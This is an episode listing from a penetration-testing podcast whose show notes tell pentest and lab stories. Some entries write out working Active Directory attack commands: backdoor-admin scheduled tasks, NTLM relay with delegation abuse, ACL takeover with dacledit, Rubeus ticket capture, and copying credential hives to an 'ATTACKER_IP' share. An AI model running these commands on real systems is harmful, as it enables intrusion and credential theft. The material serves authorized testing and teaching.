Alle afleveringen
746 afleveringen, van nieuw naar oud
-
7MS #696: Baby's First Security Ticketing System
10 oktober 2025 · 28 min
In today's episode: Lees meer
I got a new podcast doodad
I really like JitBit as a security ticketing system (not a sponsor)
The Threat Hunting with Velociraptor 2-day training was great. Highly recommend. I got inspired to take this class after watching the 1-hour primer here.
-
7MS #695: Tales of Pentest Pwnage - Part 78
3 oktober 2025 · 16 min
Today's tale of pentest pwnage involves: Lees meer
Using mssqlkaren to dump sensitive goodies out of SCCM
Using a specific fork of bloodhound to find machines I could force password resets on (warning: don't do this in prod…read this!)
Don't forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at 7MinSec.club!
-
7MS #694: Tales of Pentest Pwnage – Part 77
26 september 2025 · 33 min
Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The Tuesday TOOLSday video we did over at 7minsec.club will help bring this to life as well. Lees meer
-
7MS #693: Pwning Ninja Hacker Academy – Part 3
19 september 2025 · 29 min
This week your pal and mine Joe "The Machine" Skeen kept picking away at pwning Ninja Hacker Academy. To review where we've been in parts 1 and 2: Lees meer
We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info
From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU
We useddacledit.py to give ourselves too much permission on the Computers OU
Today we:
Did an RBCD attack against the WEB box
Requested a service ticket to give us local admin superpowers on WEB
Performed a secretsdump against WEB
Struggled to do a mimikatz dump at the end of the episode (after we ended the stream I realized I could've just done the mimikatz dump because I had local admin access! Oh well, we'll pick things up again during part 4 next month!)
-
7MS #692: Tales of Pentest Pwnage – Part 76
12 september 2025 · 33 min
Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: Lees meer
I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.
I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".
Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.
In the end, the bizarre combo of things that did the trick was:
Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:totesl…
-
7MS #691: Tales of Pentest Pwnage – Part 75
5 september 2025 · 32 min
Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode: Lees meer
Got an SA account to a SQL server through Snaffler-ing
With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
…and ran it: schtasks /run /tn "TotallyFineTask"
-
7MS #690: Tales of Pentest Pwnage – Part 74
30 augustus 2025 · 21 min
Today's tale of pentest pwnage is a classic case of "If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you've already enumerated, because that can lead to absolute GOLD!"
-
7MS #689: Pwning Ninja Hacker Academy – Part 2
22 augustus 2025 · 16 min
Hello friends! Today your friend and mine, Joe "The Machine" Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy! Today's pwnage includes: Lees meer
"Upgrading" our Sliver C2 connection to a full system shell using PrintSpoofer!
Abusing nanodump to do an lsass minidump….and find our first cred.
Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects
-
7MS #688: Building a Pentest Training Course Is Fun and Frustrating
16 augustus 2025 · 22 min
Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task. Lees meer
-
7MS #687: A Peek into the 7MS Mail Bag – Part 5
12 augustus 2025 · 57 min
Hi friends, we're doing something today we haven't done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: Lees meer
If I'm starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts?
Have you ever had anything go catastrophically wrong during a pentest? Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436
What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID?
What happened to the "difficult family situation" you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?
-
7MS #686: Our New Pentest Training Course is Almost Ready
1 augustus 2025 · 24 min
Oh man, I'm so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it. Lees meer
-
7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K
25 juli 2025 · 23 min
Today's kind of a "story time with your friend Brian" episode: a tale of how my neighbor almost got scammed out of $13k. The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans. Lees meer
-
7MS #684: Pwning Ninja Hacker Academy
18 juli 2025 · 23 min
Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!
-
7MS #683: What I'm Working on This Week - Part 4
12 juli 2025 · 31 min
This week I'm working on a mixed bag of fun security and marketing things: Lees meer
A pentest I'm stuck on
My latest lab CTF obsession: Ninja Hacker Academy
A cool "about 7MinSec" marketing video that was recorded in a pro studio!
-
7MS #682: Securing Your Family During and After a Disaster – Part 7
4 juli 2025 · 31 min
Today's episode is a downer! We talk about things you might want to have buttoned up for when you are eventually not alive anymore: Lees meer
Living will
Buried vs. cremated?
Funeral plans
Funeral PHOTOS?
I also talk about how my dad broke his ribs while trying to break a chimpmunk, and how a freak 4-wheeler accident also had my ribs in agony.
-
7MS #681: Pentesting GOAD – Part 3
27 juni 2025 · 18 min
Today Joe "The Machine" Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local! The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus! Enjoy. Lees meer
-
7MS #680: Tips for a Better Purple Team Experience
20 juni 2025 · 27 min
Today I share some tips on creating a better purple team experience for your customers, including: Lees meer
Setting up communication channels and cadence
Giving a heads-up on highs/criticals during testing (not waiting until report time)
Where appropriate, record videos of attacks to give them more context
-
7MS #679: Tales of Pentest Pwnage – Part 73
13 juni 2025 · 30 min
In today's tale of pentest pwnage I talk about a cool ADCS ESC3 attack – which I also did live on this week's Tuesday TOOLSday. I also talk about Exegol's licensing plans (and how it might break your pentest deployments if you use ProxmoxRox).
-
7MS #678: How to Succeed in Business Without Really Crying – Part 22
6 juni 2025 · 34 min
Today I share some tips on presenting a wide variety of content to a wide variety of audiences, including: Lees meer
Knowing your audience before you touch PowerPoint
Understanding your presentation physical hookups and presentation surfaces
A different way to screen-share via Teams that makes resolution/smoothness way better!
-
7MS #677: That One Time I Was a Victim of a Supply Chain Attack
30 mei 2025 · 14 min
Hi everybody. Today I take it easy (because my brain is friend from the short week) to tell you about the time I think my HP laptop was compromised at the factory!
-
7MS #676: Tales of Pentest Pwnage – Part 72
27 mei 2025 · 1 uur
Today's fun tale of pentest pwnage discuss an attack path that would, in my opinion, probably be impossible to detect…until it's too late.
-
7MS #675: Pentesting GOAD – Part 2
16 mei 2025 · 32 min
Hey friends! Today Joe "The Machine" Skeen and I tackled GOAD (Game of Active Directory) again – this time covering: Lees meer
SQL link abuse between two domains
Forging inter-realm TGTs to conquer the coveted sevenkingdoms.local!
Join us next month when we aim to overtake essos.local, which will make us rulers over all realms!
-
7MS #674: Tales of Pentest Pwnage – Part 71
9 mei 2025 · 49 min
Today's tale of pentest pwnage is another great one! We talk about: Lees meer
The SPNless RBCD attack (covered in more detail in this episode)
Importance of looking at all "branches" of outbound permissions that your user has in BloodHound
This devilishly effective MSOL-account-stealing PowerShell script (obfuscate it first!)
A personal update on my frustration with ringing in my ears
-
7MS #673: ProxmoxRox
3 mei 2025 · 31 min
Today we're excited to release ProxmoxRox – a repo of info and scripts to help you quickly spin up Ubuntu and Windows VMs. Also, some important news items: Lees meer
7MinSec.club in-person meeting is happening Wednesday, May 14! More details here.
We did our second Tuesday TOOLSday this week and showed you some local privesc techniques when you have local admin on an endpoint
-
7MS #672: Tales of Pentest Pwnage – Part 70
25 april 2025 · 55 min
Today's a fun tale of pentest pwnage where we leveraged a WinRM service ticket in combination with the shadow credentials attack, then connected to an important system using evil-winrm and make our getaway with some privileged Kerberos TGTs! I also share an (intentionally) vague story about a personal struggle I could use your thoughts/prayers/vibes with. Lees meer
-
7MS #671: Pentesting GOAD
18 april 2025 · 25 min
Hello! This week Joe "The Machine" Skeen and I kicked off a series all about pentesting GOAD (Game of Active Directory). In part one we covered: Lees meer
Checking for null session enumeration on domain controllers
Enumerating systems with and without SMB signing
Scraping AD user account descriptions
Capturing hashes using Responder
Cracking hashes with Hashcat
-
7MS #670: Adventures in Self-Hosting Security Services
11 april 2025 · 37 min
Hi friends, today I'm kicking off a series talking about the good/bad/ugly of hosting security services. Today I talk specifically about transfer.zip. By self-hosting your own instance of transfer.zip, you can send and receive HUGE files that are end-to-end encrypted using WebRTC. Sweet! I also supplemented today's episode with a short live video over at 7MinSec.club. Lees meer
-
7MS #669: What I'm Working on This Week – Part 3
4 april 2025 · 43 min
Hi friends, in this edition of what I'm working on this week: Lees meer
3 pulse-pounding pentests that had…problems
Something I'm calling the unshadow/reshadow credentials attack
Heads-up on a new video experiment I'm going to try next week
-
7MS #668: Tales of Pentest Pwnage – Part 69
28 maart 2025 · 30 min
Hola friends! Today's tale of pentest pwnage talks about abusing Exchange and the Azure ADSync account! Links to the discussed things: Lees meer
adconnectdump – for all your ADSync account dumping needs!
Adam Chester PowerShell script to dump MSOL service account
dacledit.py (part of Impacket) to give myself full write privileges on the MSOL sync account: dacledit.py -action 'write' -rights 'FullControl' -principal lowpriv -target MSOL-SYNC-ACCOUNT -dc-ip 1.2.3.4 domain.com/EXCHANGEBOX$ -k -no-pass
Looking to tighten up your Exchange permissions – check out this crazy detailed post
-
7MS #667: Pentesting GOAD SCCM - Part 2!
21 maart 2025 · 29 min
Hey friends, our good buddy Joe "The Machine" Skeen and I are back this week with part 2 (check out part 1!) tackling GOAD SCCM again! Spoiler alert: this time we get DA! YAY! Lees meer
Definitely check out these handy SCCM resources to help you – whether it be in the lab or IRL (in real life):
GOAD SCCM walkthrough
MisconfigurationManager – tremendous resource for enumerating/attacking/privesc-ing within SCCM
This gist from Adam Chester will help you decrypt SCCM creds stored in SQL
-
7MS #666: Tales of Pentest Pwnage – Part 68
14 maart 2025 · 46 min
Today we have a smattering of miscellaneous pentest tips to help you pwn all the stuff! Lees meer
Selective Snaffling with Snaffler
The importance of having plenty of dropbox disk space – for redundant remote connectivity and PXE abuse!
TGTs can be fun for SMB riffling, targeted Snaffling, netexec-ing and Evil-WinRMing!
-
7MS #665: What I'm Working on This Week - Part 2
7 maart 2025 · 29 min
Hello there friends, I'm doing another "what I'm working on this week" episode which includes: Lees meer
BPATTY v1.6 release – big/cool/new content to share here
PWPUSH – this looks to be an awesome way (both paid and free) to securely share files and passwords
-
7MS #664: What I'm Working on This Week
28 februari 2025 · 26 min
In today's episode I talk about what I'm working on this week, including: Lees meer
Playing with Sliver C2 and pairing it with ShellcodePack
Talking about Netexecer, my upcoming tool that helps automate some of the early/boring stuff in an internal pentest
A gotcha to watch out for if utilizing netexec's MSSQL upload/download functionality
-
7MS #663: Pentesting GOAD SCCM
21 februari 2025 · 30 min
Today we live-hack an SCCM server via GOAD SCCM using some attack guidance from Misconfiguration Manager! Attacks include: Lees meer
Unauthenticated PXE attack
PXE (with password) attack
Relaying the machine account of the MECM box over to the SQL server to get local admin
-
7MS #662: Pentesting Potatoes - Part 2
14 februari 2025 · 38 min
Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise). I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: Lees meer
A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more.
A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.
-
7MS #661: Baby's First Hetzner and Ludus – Part 2
8 februari 2025 · 38 min
Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range! Topics include: Lees meer
Building a Proxmox Backup Server (this YouTube video was super helpful)
Bridging a second WAN IP to the Hetzner/Ludus server
Wrestling with the Hetzner (10-rule limit!) software firewall
When attacking SCCM – you can get a version of pxethief that runs in Linux!
-
7MS #660: Baby's First Hetzner and Ludus
1 februari 2025 · 35 min
I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives). Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it. Can't say enough good things about Ludus.cloud, but I certainly tried in this episode! Lees meer
-
7MS #659: Eating the Security Dog Food - Part 8
24 januari 2025 · 28 min
Today I'm excited about some tools/automation I've been working on to help shore up the 7MinSec security program, including: Lees meer
Using Retype as a document repository
Leveraging the Nessus API to automate the downloading/correlating of scan data
Monitoring markdown files for "last update" changes using a basic Python script
-
7MS #658: WPA3 Downgrade Attacks
17 januari 2025 · 33 min
Hey friends, today we cover: Lees meer
The shiny new 7MinSec Club
BPATTY updates
A talk-through of the WPA3 downgrade attack, complemented by the YouTube livestream
-
7MS #657: Writing Rad Security Documentation with Retype
10 januari 2025 · 21 min
Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money. Lees meer
-
7MS #656: How to Succeed in Business Without Really Crying - Part 21
3 januari 2025 · 45 min
Happy new year friends! Today we talk about business/personal resolutions, including: Lees meer
New year's resolution on the 7MinSec biz side to have a better work/life balance
New training offering in the works
Considering Substack as a communications platform
A mental health booster that I came across mostly by accident
-
7MS #655: Happy Hacking Holidays
30 december 2024 · 58 min
Today we're doing a milkshake of several topics: wireless pentest pwnage, automating the boring pentest stuff with cursor.ai, and some closing business thoughts at 7MinSec celebrates its 7th year as a security consultancy. Links discussed today: Lees meer
AWUS036ACH wifi card (not my favorite anymore)
Panda PAU09 N600 (love this one!)
The very important Github issue that helped me better understand BPFs and WPA3 attacks
TrustedSec article on WPA3 downgrade attacks
-
7MS #654: Tales of Pentest Pwnage – Part 67
13 december 2024 · 42 min
Today we've got some super cool stuff to cover today! First up, BPATTY v1.4 is out and has a slug of cool things: Lees meer
A whole new section on old-school wifi tools like airmon-ng, aireplay-ng and airodump-ng
Syntax on using two different tools to parse creds from Dehashed
An updated tutorial on using Gophish for phishing campaigns
The cocoa-flavored cherry on top is a tale of pentest pwnage that includes:
Abusing SCCM
Finding gold in SQL configuration/security audits
-
7MS #653: How to Succeed in Business Without Really Crying – Part 20
6 december 2024 · 50 min
Hey friends, today we're talking about tips to effectively present your technical assessment to a variety of audiences – from lovely IT and security nerds to C-levels, the board and beyond!
-
7MS #652: Securing Your Mental Health - Part 6
2 december 2024 · 42 min
Today's episode talks about some things that helped me get through a stressful and hospital-visit-filled Thanksgiving week, including: Lees meer
Journaling
Meditation
(An activity I'm ashamed of but has actually done wonders for my mental health)
-
7MS #651: Tales of Pentest Pwnage – Part 66
22 november 2024 · 31 min
Hey friends, we've got a short but sweet tale of pentest pwnage for you today. Key lessons learned: Lees meer
Definitely consider BallisKit for your EDR-evasion needs
If you get local admin to a box, enumerate, enumerate, enumerate! There might be a delicious task or service set to run as a domain admin that can quickly escalate your privileges!
-
7MS #650: Tales of Pentest Pwnage - Part 65
15 november 2024 · 54 min
Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a "hidden" SQL account, and that account ended up being the key to the entire pentest! I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Lees meer
Also, can't get Rubeus monitor mode to capture TGTs to the registry? Try output to file instead:
rubeus monitor /interval:5 /nowrap /runfor:60 /consoleoutfile:c:\users\public\some-innocent-looking-file.log
In the tangent department, I talk about a personal music project I'm resurrecting to help my community.
-
7MS #649: First Impressions of Twingate
8 november 2024 · 1 uur 12 min
Today we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we'd like them to be)! It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we've talked about quite a bit here. In other news, we've moved from Teachable to Coursestack, so if you've bought training/ebooks with us before, you should've received some emails from us last Friday and can access our new training portal here. (If you THINK you should've received enrollment emails from CourseStack and didn't, drop us a line here.) Lees meer
In the tangent portion of our program, I give a health update on my mom and dad, and talk about some resources I'm exploring to reduce stress and anxiety after what has been a tough week for many of us.
-
7MS #648: First Impressions of Level.io
1 november 2024 · 40 min
Hey friends, today I'm sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic. Lees meer
-
7MS #647: How to Succeed in Business Without Really Crying – Part 19
25 oktober 2024 · 22 min
Today we're talkin' business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).